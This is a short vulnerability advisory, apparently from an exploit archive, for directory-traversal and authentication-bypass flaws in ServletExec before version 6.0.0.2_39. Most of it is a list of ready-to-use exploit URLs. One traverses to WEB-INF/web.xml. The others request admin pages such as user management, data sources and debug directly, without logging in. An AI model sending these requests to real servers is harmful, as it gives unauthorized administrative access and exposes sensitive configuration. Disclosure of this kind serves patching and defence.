ServletExec – Directory Traversal / Authentication Bypass
source: https://www.securityfocus.com/bid/42411/info ServletExec is prone to a directory-traversal vulnerability and multiple authentication-bypass vulnerabilities because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to gain administrative access to the affected application and to obtain sensitive information that could aid in further attacks. Versions prior to ServletExec 6.0.0.2_39 are vulnerable. http://www.example.com/servlet/pagecompile._admin._help._helpContent_xjsp?page=../../WEB-INF/web.xml http://www.example.com/servlet/pagecompile._admin._login_xjsp http://www.example.com/servlet/pagecompile._admin._vmSystemProperties_xjsp http://www.example.com/servlet/pagecompile._admin._SELogging_xjsp http://www.example.com/servlet/pagecompile._admin._userMgt_xjsp http://www.example.com/servlet/pagecompile._admin._virtualServers_xjsp http://www.example.com/servlet/pagecompile._admin._optionalPackages_xjsp http://www.example.com/servlet/pagecompile._admin._dataSources_xjsp http://www.example.com/servlet/pagecompile._admin._debug_xjsp |